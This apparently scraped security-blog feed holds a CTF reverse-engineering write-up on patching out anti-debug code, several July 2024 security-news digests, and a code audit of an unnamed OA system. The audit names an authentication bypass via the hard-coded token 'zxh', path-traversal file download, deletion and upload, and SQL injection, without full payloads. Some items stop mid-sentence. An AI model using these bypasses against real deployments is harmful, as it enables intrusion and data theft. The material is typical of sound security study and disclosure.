后门函数技术在二进制对抗中的应用
本次题目跟第七届HWS线下的re2有类似的地方,均有后门函数。
二进制后门可以理解为:我们只需要修改某个字节或某个函数,就可以将加密的过程变成解密的过程,大大节省逆向成本。
本题先对内置的dll进行解密,然后调用其加密函数对我们的txt进行加密,如果我们将加密的函数nop为解密函数,就可以直接解密,类比与RC4动态解密技术。
1、初次分析
0地址异常反调试
本题的一大亮点就是有访问0地址的异常反调试,小伙伴们在做的时候有没有发现调试异常艰难呢
故意访问0地址
然后走作者自定义的处理函数,如果我们在IDA动调的时候不经过处理函数,程序就会卡在哪里不能继续运行。
做法很简单:将访问0地址的代码和异常处理函数完全给nop掉
(说白了:就是将所有跟异常有关的汇编都给nop掉就完事)
处理函数也是完整nop
返回处也nop,跟开头相对应
main函数
分析main函数,发现反编译爆红
很正常,查看汇编代码,发现了异常反调试和异常花指令干扰分析
做法很简单:直接nop即可
具体做法参考:上面一小节,0地址异常反调试
nop
成功生成函数
TLS回调函数
尝试运行,发现直接退出,发现了TLS反调试函数
nop即可
生成函数
将exit函数nop掉即可,不用管反调试的事情了
2、内置DLL资源解密
使用工具打开file_encrypt
发现内置 pe程序,猜测key为0x33,解密
这是程序使用0x33解密
发现了很多加密函数和解密函数(Crypt开头),因此本题程序使用本dll进行加密和解密操作
在后面的分析中,也发现了函数加载了我们的dll
3、关键函数分析
sub_401320
使用IDA动调发现了很多bug,莫名其妙断下,改用x64dbg
sub_402000
路径和盘符有关,比如我在C盘
C:......\document\1.txt
找到1.txt
sub_4017E0
加载dll
sub_4013E0
4、解密
既然使用了encrypto,那么我们改为decrypto就可以啦
I added the missing CryptDecrypt call to the binary's import table and patched the executable to decrypt the files. The decryption call takes one parameter less than the encryption one, so I NOP'ed one push to the
stack as well:
网络安全日报 2024年07月26日
1、研究人员揭露利用GitHub分发恶意软件服务
https://research.checkpoint.com/2024/stargazers-ghost-network/ 研究人员揭露了名为Stargazers Ghost Network(观星者幽灵网络)的复杂恶意软件分发服务。该网络利用GitHub平台,通过多个账户分发恶意链接和软件,伪装成合法项目以逃避检测。研究发现,此网络由Stargazer Goblin组织运营,涉及多种恶意软件家族,包括Atlantida Stealer和Rhadamanthys。自2022年起,该网络已通过高度自动化和面向受害者的策略,成功感染了数千名用户,估计非法收入高达10万美元。此外,研究还发现该网络
2、网络安全公司KnowBe4误聘朝鲜黑客引发安全威胁
https://blog.knowbe4.com/how-a-north-korean-fake-it-worker-tried-to-infiltrate-us 网络安全培训公司KnowBe4遭遇了一起精心策划的内部威胁事件。一名冒充软件工程师的朝鲜IT工作者通过伪造身份和AI增强照片成功应聘,企图渗透公司系统。尽管进行了视频面试和背景调查,该假冒者仍然未被发现。事件中,该公司的终端检测和响应(EDR)软件发挥了关键作用,及时检测到恶意行为并发出警报。通过与执法机构合作,KnowBe4揭露了这起由朝鲜支持的网络犯罪活动。
3、研究人员提示警惕新型恶意加载器Krampus
https://cybersecuritynews.com/beware-of-new-krampus-loader/ 一种名为Krampus的新型恶意软件加载器在地下网站中流行开来,其多功能性和易用性受到威胁行为体的青睐。Krampus支持处理多种文件类型,包括存档文件和PowerShell脚本,并具备侧载加密货币挖掘软件的能力。此外,它还能够嵌入档案文件中逃避检测,支持安装合法软件以掩盖其恶意行为,并提供用户友好的面板界面。Krampus的文件未经签名且无需加密,这增加了其隐蔽性,使其成为一个重大的安全威胁。
4、CrowdStrike公布Windows蓝屏故障调查结果
https://www.crowdstrike.com/falcon-content-update-remediation-and-guidance-hub/ 2024年7月24日,网络安全公司CrowdStrike发布声明,解释了上周五导致数百万Windows设备崩溃的事件。该公司表示,问题出在7月19日UTC时间04:09发布的一个内容配置更新上,该更新旨在收集新威胁技术的遥测数据。不幸的是,更新中的错误导致了Windows系统崩溃。受影响的主要是安装了7.11及以上版本的Windows主机,而Apple macOS和Linux系统则未受影响。CrowdStrike已经采取措施修复问题,
5、攻击者利用漏洞绕过SmartScreen传播恶意软件
https://www.fortinet.com/blog/threat-research/exploiting-cve-2024-21412-stealer-campaign-unleashed 安全研究人员发现,利用CVE-2024-21412漏洞的数据窃取活动正在迅速蔓延。攻击者通过诱导用户点击恶意链接,下载并执行LNK文件,该文件携带HTA脚本,悄无声息地下载诱饵PDF和恶意shell代码注入器。受影响的Windows系统被用于传播包括HijackLoader、ACR窃取程序和Meduza Stealer在内的多种恶意软件。研究人员建议用户提高警惕,避免从不可信来源下载或运行文件。
6、研究人员发现LangChain AI框架存在高危漏洞
https://unit42.paloaltonetworks.com/langchain-vulnerabilities/ 最新研究发现,开源AI框架LangChain存在两个高危漏洞,编号分别为CVE-2023-46229与CVE-2023-44467,可能被攻击者利用来远程执行代码和窃取敏感信息。LangChain迅速响应,发布补丁修复了这些安全风险。研究人员建议所有使用LangChain的组织和开发者立即更新至最新版本。
7、BIND 更新解决高严重性 DoS 漏洞
https://www.securityweek.com/bind-updates-resolve-high-severity-dos-vulnerabilities/ 最新的 BIND 安全更新解决了导致拒绝服务的远程利用漏洞。
8、威胁行为者创建了3000多个GitHub账户用于传播恶意软件
https://www.securityweek.com/network-of-3000-github-accounts-used-for-malware-distribution/ Stargazer Goblin 创建了一个由 3,000 多个 GitHub 帐户组成的网络,通过网络钓鱼存储库分发恶意软件。
9、Nvidia 修补 AI、网络产品中的高危漏洞
https://www.securityweek.com/nvidia-patches-high-severity-vulnerabilities-in-ai-networking-products/ Nvidia 已修补其 Jetson、Mellanox OS、OnyX、Skyway 和 MetroX 产品中的高严重性漏洞。
10、多产的DDoS 市场DigitallStress被英国执法部门关闭
https://www.infosecurity-magazine.com/news/ddos-marketplace-shut-down-uk-law/ 英国执法机构已经渗透并摧毁了DigitallStress,这是世界上最多产的地下市场,提供分布式拒绝服务(DDoS)服务。国家犯罪局(NCA)表示,该局已于7月2日与北爱尔兰警察局(PSNI)合作接管并禁用了 digitalstress[.]su。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年07月25日
1、乌克兰科研机构遭遇APT28组织网络间谍攻击
https://cert.gov.ua/article/6280129 2024年7月,乌克兰科研机构成为了一起精心策划的网络钓鱼攻击的目标,攻击中使用了HATVIBE和CHERRYSPY两种恶意软件。乌克兰计算机应急响应小组(CERT-UA)将此次攻击归因于UAC-0063,一个与俄罗斯的APT28组织有联系的威胁行为者。攻击者通过获取该机构员工的电子邮件账户,向数十个收件人发送了带有恶意宏的Microsoft Word文档。当这些宏被启用时,它们会触发一个HTA文件的执行,该文件通过创建计划任务在受害者计算机上实现持久性,并为CHERRYSPY后门铺平了道路。
2、RA World勒索软件针对全球进行攻击
https://unit42.paloaltonetworks.com/ra-world-ransomware-group-updates-tool-set/ 安全研究人员对勒索软件组织RA Group(现更名为RA World)的活动进行了深入分析。自2024年3月以来,RA World的活动显著增加,其暗网泄密网站上约37%的帖子均为近期发布,突显了该组织作为新兴威胁的重要性。RA World采用多重勒索策略,先窃取敏感数据再加密,随后利用这些数据作为筹码威胁受害者支付赎金。该组织对医疗保健行业的组织特别感兴趣,但到2024年中期,制造业成为主要受害行业。美国是受攻击最严重的国家,其次是
3、DeFi交易所dYdX v3网站遭遇DNS劫持攻击
https://status.dydx.exchange/incidents/lzyhxm4wp22w DeFi加密货币交易所dYdX遭遇安全警报,其v3交易平台网站被DNS劫持。攻击者通过部署假冒网站,利用PERMIT2交易批准机制,试图盗取用户代币。dYdX迅速响应,通知用户不要访问受攻击的网站,并确保智能合约和用户资产安全。此次安全事件与一系列针对Squarespace注册商的DNS劫持攻击有关,暴露了在域名转移过程中MFA被关闭的安全漏洞。
4、研究人员发现针对HamsterKombat玩家的恶意软件
https://www.welivesecurity.com/en/eset-research/tap-estry-threats-targeting-hamster-kombat-players/ 研究人员揭露了针对流行的Telegram点击游戏HamsterKombat玩家的新型网络威胁。随着该游戏迅速走红,网络犯罪分子开始利用其热度进行多种恶意活动。研究发现,这些威胁包括伪装成HamsterKombat的Android间谍软件Ratel、虚假应用商店,以及在GitHub上伪装成游戏自动化工具实则传播LummaStealer恶意软件的加密器。这些恶意活动不仅针对Android用户,Win
5、Magento网站遭信用卡盗刷器攻击
https://thehackernews.com/2024/07/magento-sites-targeted-with-sneaky.html 网络安全研究人员揭露了一起针对Magento电子商务网站的新型信用卡盗刷攻击。攻击者巧妙地使用交换文件技术来隐藏其恶意软件,使得即使在多次清理尝试后,该恶意软件仍然能够存活。这种窃取器不仅能够捕获网站上所有信用卡表格的数据,还能将详细信息泄露到攻击者控制的域名。研究人员指出攻击者利用域名与流行产品和服务相似的策略来逃避检测。
6、R0bl0ch0n TDS-新型附属欺诈计划波及全球1.1亿互联网用户
https://www.freebuf.com/news/406861.html 世界观察组织的专家团队揭露了一种新型流量分配系统(TDS),该系统与附属营销紧密相关,并在多起欺诈计划中被积极利用。由于其URL重定向中独特的“0/0/0”序列,这一系统被命名为R0bl0ch0n TDS,已经对全球约1.1亿互联网用户造成了影响。
7、网约车外挂犯罪团伙被打掉:17 人被抓,22 万余个账号被封停
https://mp.weixin.qq.com/s/SZ7Fady2ZKFxTgNCeu65kA 阜新市居民李某在多个司机群以“外挂”软件能实现虚拟定位、优先抢单、随意变换计费路程等名义,发布出售“朱雀”、“猪猪侠”、“钵钵鸡”等多款网约车外挂非法获利。
8、微软为受 Crowdstrike 影响的机器发布恢复工具
https://techcommunity.microsoft.com/t5/intune-customer-success/new-recovery-tool-to-help-with-crowdstrike-issue-impacting/ba-p/4196959 微软对无法自动接收 Crowdstrike 最新补丁的机器提供了一个创建可启动 U 盘的恢复工具。该恢复工具通过 USB 启动到 Windows PE 环境,访问磁盘,然后自动删除有问题的 CrowdStrike 文件,从而允许计算机正常启动。
9、Docker修补了可追溯至2018 年的严重AuthZ插件绕过漏洞
https://www.securityweek.com/docker-patches-critical-authz-plugin-bypass-vulnerability-dating-back-to-2018/ Docker 发布了紧急安全公告,修复了某些版本 Docker Engine 中的一个严重漏洞,该漏洞允许攻击者在特定情况下绕过授权插件(AuthZ)。 该漏洞被标记为CVE-2024-41110,CVSS 严重性评分为 10/10,最初于 2018 年发现并修复,但令人费解的是,2019 年 1 月的补丁并未延续到后来的主要版本,导致漏洞回归。
10、Chrome 127 版本修复了 24 个漏洞
https://www.securityweek.com/chrome-127-patches-24-vulnerabilities/ 谷歌周二宣布向稳定版频道发布 Chrome 127,其中修补了 24 个漏洞,其中包括外部研究人员报告的 16 个漏洞。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年07月24日
1、黑客组织滥用Google Cloud进行网络钓鱼
https://thehackernews.com/2024/07/pineapple-and-fluxroot-hacker-groups.html 今日研究人员发现两个黑客组织PINEAPPLE和FLUXROOT滥用Google Cloud服务进行凭证网络钓鱼攻击。FLUXROOT,一个以拉丁美洲为基地的攻击者,利用Google Cloud无服务器项目策划网络钓鱼活动,意图收集与在线支付平台Mercado Pago相关的登录信息。PINEAPPLE组织则利用Google Cloud传播Astaroth(又名Guildma)窃取恶意软件,主要针对巴西用户。他们通过创建受感染的Google
2、SocGholish利用BOINC平台进行持久性攻击
https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software 究人员揭露了一种名为SocGholish的恶意软件,该软件通过伪装成浏览器更新,利用BOINC(伯克利开放基础设施网络计算)项目进行隐蔽网络攻击。BOINC原本是一个由加州大学维护的志愿计算平台,旨在利用家庭计算机进行大规模分布式计算。攻击者通过控制域连接受感染主机,收集数据并推送命令。目前,已有超过一万个客户端被连接到恶意服务器,存在被进一步利用的风险。项目维护人员正在积极应对,寻找解决方案。
3、Ubuntu修复Azure云系统内核漏洞
https://tuxcare.com/blog/several-linux-kernel-azure-vulnerabilities-fixed-in-ubuntu 近日发布的安全更新针对Ubuntu 16.04 ESM和Ubuntu 18.04 ESM中的Linux内核漏洞进行了修复。这些漏洞主要影响Microsoft Azure云系统,攻击者可能利用它们导致系统崩溃、信息泄露或执行恶意代码。修复的漏洞包括但不限于CVE-2021-33631、CVE-2023-6270和CVE-2024-23307,严重性评分均较高。
4、Telegram安卓版修补零日漏洞EvilVideo
https://www.bleepingcomputer.com/news/security/telegram-zero-day-allowed-sending-malicious-android-apks-as-videos/ 研究人员揭露了一个针对Telegram Android应用的安全漏洞“EvilVideo”。该漏洞允许攻击者通过伪装成视频文件的方式发送恶意Android APK。据称,该漏洞首次由一个名为“Ancryno”的黑客在6月6日的论坛上出售。研究人员在Telegram的一个公共频道上观察到了这个漏洞的演示,并确认了它在Telegram v10.14.4及更早版本中的存在
5、FrostyGoop ICS 恶意软件针对乌克兰关键基础设施
https://securityaffairs.com/166087/malware/frostygoop-ics-malware-modbus.html 2024 年 4 月,Dragos 研究人员发现了一种名为 FrostyGoop 的新 ICS 恶意软件,该恶意软件使用 Modbus 协议与工业控制系统交互。FrostyGoop 是发现的第九种 ICS 恶意软件,被国家行为者用于野外攻击。专家报告称,FrostyGoop 被用于 2024 年 1 月对乌克兰利沃夫一家供暖公司的攻击。与俄罗斯有关的威胁行为者利用了 Mikrotik 路由器的一个漏洞,导致 600 栋建筑近两天没有供暖。
6、Google 将在 Chrome 中保留第三方 Cookie
https://www.securityweek.com/google-will-keep-third-party-cookies-in-chrome/ Google 不再计划在 Chrome 中弃用第三方 Cookie,并且正在研究更新的方法。
7、攻击者正滥用邮件网关URL保护服务来隐藏网络钓鱼链接
https://www.freebuf.com/news/406740.html 据网络安全公司Barracuda近期的一项研究报告,一些攻击者正滥用电子邮件安全服务隐藏恶意链接并传播钓鱼邮件,到目前为止这些攻击已针对至少数百家公司。
8、WPS:不存在文档被用作 AI 训练的情况,未与豆包合作
有网友在社交平台发文称“WPS 改版了用我们的文章喂给 AI 了”“WPS 疑似把我的审签内容喂给抖音豆包 AI”。对此 WPS 进行了回应,所有用户的文档不会被用于任何 AI 训练目的,也不会在未经用户同意的情况下用于任何场景。WPS AI 与豆包在 AI 层面目前并未开展任何形式的合作,不存在文档被用作 AI 训练的情况。
9、特朗普集会枪手手机被以色列公司的软件在 40 分钟内破解
https://9to5mac.com/2024/07/18/trump-shooter-android-phone-cellebrite/ 枪手使用的三星的一款较新型的 Android 手机,FBI 首先尝试利用以色列数据情报公司 Cellebrite 的软件去绕过或识别手机密码,但未能成功。FBI 随后直接联络 Cellebrite 寻求帮助。Cellebrite 之后提供了该公司仍然在开发中的新软件。FBI 利用新的软件在 40 分钟内解锁了手机。
10、尼日利亚指控Meta窃取个人数据,对其处以 2.2 亿美元罚款
https://www.ithome.com/0/783/210.htm 当地时间 7 月 20 日,尼日利亚政府宣布对 Meta 处以 2.2 亿美元的罚款,称其调查发现 Facebook 和 WhatsApp 上多次违反该国的数据保护和消费者权益法。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
某个OA系统的代码审计
2023年HVV中爆出来的洞了,但是有一些漏洞点修复了,刚好地市级的攻防演练中遇到了一个,想着把可能出现问题的点全部审计一下,顺便熟悉一下.net代码审计。ps:感兴趣的师傅们可以自行根据poc搜索源码。
0x1 反编译
好吧,当我没说,下载dnspy反编译即可,但是首先要找到web逻辑代码才能开始审计,因为这套oa是使用了mvc开发模式,简单介绍一下mvc,其实就是model,controller,view,其中的view是视图也就是html等展示给用户看的东西,model是模型也就是控制数据库的代码。controller是控制器负责执行代码的逻辑,也就是我们需要审计的地方了。
然后找到controller就是web的主要逻辑了。
0x2 身份校验绕过
首先可以随便点入一个controller,发现filesController继承自TopVisionApi。
然后我们发现IsAuthorityCheck()这个函数用于判断权限。
首先看到第一行代码getByValue这个函数,其实Request.Properties["MS_HttpContext"]).Request[value]就是获取http请求中的某个参数,而value就是调用传过来的参数,在这里是token,那么这段代码就是获取http中的token参数。
然后if判断了token是不是空值然后再判断token参数的值是不是等于"zxh",如果登录则直接返回一个UserInfo对象。
然后回到filesController的身份判断,发现只判断了IsAuthorityCheck返回是否为null,所以只需要让token参数是zxh的时候,那么就可以绕过身份校验了。
0x3 任意文件下载
还是 filesController 这个控制器 DownloadRptFile方法。这时我们已经绕过了身份认证,所以只需要看之后代码即可。requestFileName就是我们传递的http参数,
然后跟进代码。并未发现任何过滤../的行为,直接传递给getBinaryFile函数
getBinaryFile函数如下。
结果证明: (读取文件内容会以base64返回)
0x4 信息泄露
发现GetCurrentUserList方法查询了所有用户信息。并且返回给前台。
<UserInfo>是c#中的泛型,这里是用来查询数据库的。可以看到遍历了dicUserList这个数组。这个数组就是初始化的用户信息数组了。
直接访问:
0x5 任意文件删除
发现DeleteFile2方法是一个删除文件方法。这里也没有发现过滤../以及过滤删除文件的后缀名。
虽然是有限制了文件路径,但是全然没有过滤../,而且filename参数也是完全可控的。所以这里其实是存在任意文件删除漏洞的。
ps: 这里就不放验证截图了,感兴趣的师傅们可以自行本地验证。
0x6 任意文件上传
UploadFile2方法中获取了各种参数,然后传入UploadFile2
跟进该方法。pathType就是限制文件上传到哪个文件夹的。
pathType详解:
fs参数是我们传递的byte数组也就是文件的内容。
startPoint等于0就好这样才能创建一个新的文件,datasize则是数组的长度。
漏洞验证:
0x7 SQL注入
InventoryController的GetProductInv方法,直接从参数获取boxNoName未经过过滤直接通过string.Format拼接至sql语句中,导致了sql注入。
验证:直接sqlmap即可
网络安全日报 2024年07月23日
1、研究人员发现针对ESXi环境的Play勒索软件新变种
https://www.trendmicro.com/en_us/research/24/g/new-play-ransomware-linux-variant-targets-esxi-shows-ties-with-p.html 安全研究人员发现Play勒索软件组织已开发出针对ESXi环境的Linux变种,这表明该组织正在扩大其攻击范围。该变种在执行前会验证是否在ESXi环境中运行,如果检测到不在该环境中,它将终止并删除自身。此外,该勒索软件组织似乎正在使用ProlificPuma提供的服务和基础设施,这可能帮助他们增强绕过安全协议的能力。
2、俄罗斯多个组织遭双重恶意软件攻击
https://securelist.ru/phantomdl-darkwatchman-rat-targeted-attacks/109919/ 研究人员监测到两波针对俄罗斯组织的定向电子邮件攻击,主要影响制造业、政府、金融和能源行业的员工。攻击者利用PhantomDL和DarkWatchman RAT两种恶意软件,通过精心构造的电子邮件和RAR压缩包进行传播。PhantomDL后门使用Go语言编写,具备高度混淆和自定义UPX包装器,而DarkWatchman RAT则提供攻击者对受感染系统的远程访问。攻击者通过模仿合法域名和使用DGA算法生成C2域名,以逃避检测。此次攻击可能与名为Hea
3、OilAlpha恶意软件攻击也门人道救援组织网站
https://www.recordedfuture.com/research/oilalpha-spyware-used-to-target-humanitarian-aid-groups 最新研究揭露了OilAlpha恶意软件对也门人道主义援助组织的网站进行持续攻击。据分析这个亲胡塞武装的组织通过恶意Android应用程序,针对CARE International和挪威难民委员会等知名组织,企图窃取凭证和收集情报,进而可能影响援助分配。为了防范此类威胁,研究人员建议组织加强信息安全政策,提高社会工程和反网络钓鱼意识,同时使用强密码和多因素身份验证。
4、研究人员提示警惕新型僵尸网络CatDDoS和Zergeca
https://explore.avertium.com/resource/botnets-to-watch-catddos-and-zergeca 安全研究人员警告称,新型僵尸网络CatDDoS和Zergeca对全球网络安全构成威胁。CatDDoS基于Mirai源代码,利用ChaCha20算法加密关键信息,并针对全球多个行业发动DDoS攻击。Zergeca则是一种基于Golang的僵尸网络,支持六种独特的攻击方法,并具备扫描、代理、持久性、自升级等功能。这两种僵尸网络展示了高级能力,从执行强大的DDoS攻击到通过复杂的加密和逃避技术躲避检测,积极针对全球网络发动攻击。
5、研究人员发现恶意软件通过假冒GTA VI测试版传播
https://hackread.com/grand-theft-auto-fake-gta-vi-beta-download-malware/ 研究人员发现一些Facebook广告正在推广假冒的GTA VI测试版下载,这些广告实际上是恶意软件。这些广告在7月16日至18日期间通过赞助广告发布,声称前100名用户可以免费访问GTA测试版。然而,这些广告引导用户下载的文件实际上是恶意软件,与FakeBat加载器恶意软件有许多相似之处。研究人员提醒玩家不要从社交媒体广告或帖子中下载游戏文件,尤其是备受期待的新发布。
6、多国联合启动打击加密货币诈骗行动Operation Spincaster
https://www.chainalysis.com/blog/operation-spincaster/ 近日,安全团队宣布了一项名为Operation Spincaster的新计划,旨在全球范围内打击加密货币诈骗。该计划利用区块链技术的透明度,主动识别被盗钱包,联合六个国家的公共部门机构和17个加密货币交易所,共同阻止和预防诈骗。安全团队提供了Crypto Investigations解决方案的培训,帮助参与者识别和追踪被盗资金,成功分发了7000多条线索,涉及1.62亿美元的损失。此次行动不仅展示了公私合作的力量,也证明了区块链分析在预防和打击诈骗中的有效性。
7、LockBit 勒索软件集团两名成员在美国法庭认罪
https://www.securityweek.com/two-members-of-lockbit-ransomware-group-plead-guilty-in-us-court/ 一名俄罗斯公民和一名加拿大与俄罗斯双重国籍者在美国承认参与 LockBit 勒索软件攻击。
8、微软称850万台Windows设备受到CrowdStrike事件影响
https://www.securityweek.com/microsoft-says-8-5-million-windows-devices-impacted-by-crowdstrike-incident-publishes-recovery-tool/ 微软表示,大约有 850 万台 Windows 设备受到 CrowdStrike 错误软件更新的影响,并发布了一款工具来帮助管理员完成恢复过程。
9、BlackSuit勒索软件伪装成360杀毒软件组件规避检测
https://www.freebuf.com/news/406645.html 在最近发生的一系列中断主要业务的事件中,KADOKAWA 公司经历了延伸到多个网站的服务中断。最初看似技术故障的事件很快升级为由臭名昭著的 BlackSuit 勒索软件组织策划的全面勒索软件攻击。Deep Instinct 威胁实验室的深入分析显示,BlackSuit 的战术和技术发生了巨大演变。该勒索软件现在采用的是先进的混淆方法,包括将其有效载荷伪装成奇虎 360 杀毒软件的合法组件。与早期版本相比,最新的 BlackSuit 样本的检测率要低得多,这表明威胁行为者在刻意规避安全措施。
10、国家漏洞库CNNVD发布关于Oracle多个安全漏洞的通报
https://www.secrss.com/articles/68261 近日,Oracle官方发布了多个安全漏洞的公告,其中Oracle产品本身漏洞65个,影响到Oracle产品的其他厂商漏洞170个。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年07月22日
1、CrowdStrike更新引发大规模Windows用户蓝屏死机
https://cybersecuritynews.com/crowdstrike-update-bsod-loop/ CrowdStrike Falcon Sensor的更新导致全球范围内的Windows用户遭遇了严重的蓝屏死机(BSOD)循环问题。该问题主要影响安装了CrowdStrike端点安全软件的Windows 10和11系统。用户遭遇了反复出现的BSOD,错误信息提示为“DRIVER_OVERRAN_STACK_BUFFER”,导致系统无法正常启动。CrowdStrike已经确认了这一问题,并表示其工程团队正在紧急处理中。目前,企业客户受影响尤为严重,部分组织报告称数千台设备受到
2、TAG-100使用开源工具进行全球间谍活动
https://www.recordedfuture.com/research/tag-100-uses-open-source-tools-in-suspected-global-espionage-campaign 安全研究人员近期揭露了TAG-100组织通过使用开源工具进行的全球间谍活动。该组织不仅攻击了亚太地区的两个主要政府间机构,还影响了全球多个外交、贸易和私营部门实体。TAG-100利用Go后门Pantegana和SparkRAT等工具,针对包括CitrixNetScaler、F5BIG-IP在内的多种面向互联网的产品进行攻击。这一发现突显了使用开源工具进行网络间谍活动的增长趋势
3、黑客更新BeaverTail恶意软件攻击MacOS用户
https://thehackernews.com/2024/07/north-korean-hackers-update-beavertail.html 网络安全研究人员最近发现,与朝鲜有关的黑客组织更新了名为BeaverTail的恶意软件,目标是MacOS用户。这款恶意软件通过模仿合法视频通话服务MiroTalk的磁盘映像文件传播,窃取加密货币钱包、浏览器数据等敏感信息,并下载执行其他Python脚本。研究人员指出,朝鲜黑客利用社会工程学手段,通过假冒招聘会议等方式接触潜在受害者,进一步增强了攻击的隐蔽性和成功率。
4、RDGA通过注册数百万域名改变DNS威胁形势
https://blogs.infoblox.com/threat-intelligence/rdgas-the-next-chapter-in-domain-generation-algorithms/ 最新的安全报告揭示了一种新兴技术——注册域名生成算法(RDGA),它允许威胁行为者通过注册数百万个新域名来秘密改变DNS威胁形势。RDGA与传统基于恶意软件的DGA不同,威胁行为体使用算法一次性注册多个域名,用于恶意软件、网络钓鱼、垃圾邮件等多种犯罪活动。报告还特别指出了与XLoader恶意软件有关的Revolver Rabbit RDGA威胁行为体,以及Hancitor恶意软件多年来如何
5、MirrorFace组织利用NOOPDOOR攻击日本机构
https://blogs.jpcert.or.jp/en/2024/07/mirrorface-attack-against-japanese-organisations.html 自2022年以来,安全研究人员监测到MirrorFace组织的网络攻击活动,主要针对媒体、政治组织、智库和大学,2023年起转向制造商和研究机构。NOOPDOOR恶意软件通过注入合法应用程序执行,具有多种执行流程和混淆技术。攻击者使用多种技术访问网络凭据,进行横向移动,并利用Windows命令进行侦察。此外,攻击者使用工具如GOST进行代理通信,采用多种防御规避技术以隐藏其活动。
6、印度WazirX交易所遭黑客攻击损失2.3亿美元
https://thehackernews.com/2024/07/wazirx-cryptocurrency-exchange-loses.html 印度加密货币交易所WazirX近日遭遇重大安全漏洞,导致价值2.3亿美元的加密货币资产被盗。攻击源于其多重签名钱包的签名信息被篡改,钱包控制权被转移给攻击者。安全研究人员指出,此次攻击具有朝鲜威胁行为者的特征,攻击者利用去中心化服务将资产兑换为以太币,目前,WazirX团队正在全力追回被盗资金。
7、SolarWinds ARM软件修复11个安全漏洞
https://www.solarwinds.com/trust-center/security-advisories SolarWinds公司近日对其访问权限管理器(ARM)软件进行了紧急更新,修复了11个严重安全漏洞。这些漏洞的严重程度被评为“严重”和“高”,其中7个漏洞的CVSS评分高达9.6,其余4个评分为7.6。这些安全缺陷可能被攻击者利用来访问敏感信息或执行任意代码。SolarWinds ARM软件的目录遍历、信息泄露以及远程代码执行漏洞是此次更新的重点。
8、攻击者假冒CrowdStrike更新漏洞传播Remcos RAT
https://www.crowdstrike.com/blog/likely-ecrime-actor-capitalizing-on-falcon-sensor-issues/ 网络攻击者针对CrowdStrike Falcon传感器更新问题进行的攻击活动。攻击者利用该问题,制作了一个名为crowdstrike-hotfix.zip的恶意ZIP文件,试图诱骗拉丁美洲的CrowdStrike客户下载执行,从而植入RemCos恶意软件。该攻击活动具有针对性,使用西班牙语文件名和说明,且在执行过程中通过DLL搜索顺序劫持的方式加载HijackLoader,进一步逃避检测。
9、HTTP新型漏洞影响数千个Google Cloud托管网站
https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/ 安全研究人员发现了一种新型的HTTP请求走私漏洞(TE.0),该漏洞影响数千个Google Cloud托管网站。该漏洞利用了GCP负载均衡器的缺陷,允许攻击者绕过身份验证并可能接管用户账户。研究人员通过漏洞赏金计划发现并报告了此问题,Google已确认并修复了该漏洞,向研究人员支付了8500美元的赏金。
10、Azure配置错误引发Microsoft 365服务中断
https://www.bleepingcomputer.com/news/microsoft/major-microsoft-365-outage-caused-by-azure-configuration-change/ 近日,微软公司遭遇了一次严重的服务中断,影响了美国中部地区的Microsoft 365客户。此次中断由Azure配置更改引发,导致包括Microsoft Defender、Intune、Teams、PowerBI、OneDrive for Business、SharePoint Online等多个服务无法访问。微软迅速采取措施,将流量重新路由至替代系统以缓解影响。尽管大
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年07月19日
1、ScatteredSpider新增RansomHub和Qilin勒索软件
https://thehackernews.com/2024/07/scattered-spider-adopts-ransomhub-and.html ScatteredSpider是一个知名的网络犯罪组织,以其复杂的社会工程攻击手段而著称。最近,该组织在其攻击工具库中增加了两种新的勒索软件:RansomHub和Qilin。据微软公司透露,RansomHub是一种勒索软件即服务(RaaS)的形式,自今年2月首次出现以来,已经被越来越多的威胁行为者所采用。此外,ScatteredSpider的活动与其他一些被网络安全社区追踪的活动集群存在重叠,例如0ktapus、OctoTempest和UN
2、Life360数据泄露影响44万用户
https://hackread.com/family-location-tracker-app-life360-breach-data-leak/ 家庭位置追踪应用Life360遭遇重大数据泄露事件,443000名用户的个人信息被泄露。此次泄露包括用户的全名、电话号码、电子邮件地址等敏感数据。黑客利用API滥用手段,通过应用程序登录端点的漏洞窃取了这些信息。尽管密码、社会保险号和财务详细信息未被泄露,但用户的电子邮件和电话号码已被公开,增加了钓鱼攻击和短信钓鱼的风险。Life360已采取措施修复API漏洞,但用户仍需提高警惕,更改密码并启用多因素身份验证以增强账户安全。
3、罗马尼亚遭受地缘政治DDoS攻击
https://www.netscout.com/blog/asert/hacktivists-target-romania-latest-surge-geopolitical-ddos 研究人员发现罗马尼亚成为地缘政治DDoS攻击的最新受害者。攻击始于6月2日,罗马尼亚可能向乌克兰转移爱国者导弹之际,单日攻击次数激增至352次。6月5日,攻击总数达到峰值,单日攻击达1016次。多个黑客组织如CyberDragon和俄罗斯网络军声称对攻击负责,主要目标为政府网站和银行。
4、研究人员分析新型Shellcode加载器Jellyfish
